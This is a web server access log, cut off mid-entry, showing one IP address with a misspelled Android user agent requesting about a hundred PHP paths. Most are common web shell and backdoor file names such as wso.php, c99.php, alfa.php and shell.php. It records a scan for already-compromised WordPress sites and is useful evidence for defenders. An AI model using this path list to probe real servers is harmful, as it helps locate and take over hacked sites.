[12/Apr/2025:11:33:57 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:59 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:01 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:03 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:06 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:07 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:11 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:13 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:17 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:19 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:23 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:25 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:29 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:34 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:39 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:42 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:45 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:47 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:50 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:52 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:34:56 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:00 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:03 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:07 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:11 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:14 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:17 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:25 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:27 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:29 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:32 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:35 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:38 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:39 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:45 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:48 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:51 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:55 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:35:59 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:02 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:05 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:12 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:17 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:21 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:24 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:28 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:34 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:40 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:44 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:49 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:52 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:55 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:36:59 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:04 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:08 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:12 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:19 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:22 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:28 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:31 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:34 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:36 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:38 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:41 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:46 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:52 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:55 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:37:59 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:02 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:08 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:12 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:18 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:22 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:26 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:30 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:34 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:37 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:40 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:43 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:47 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:50 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:52 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:55 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:38:59 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:02 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:06 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:11 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:15 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:18 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:20 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:23 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:28 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:32 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:34 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:37 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:40 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 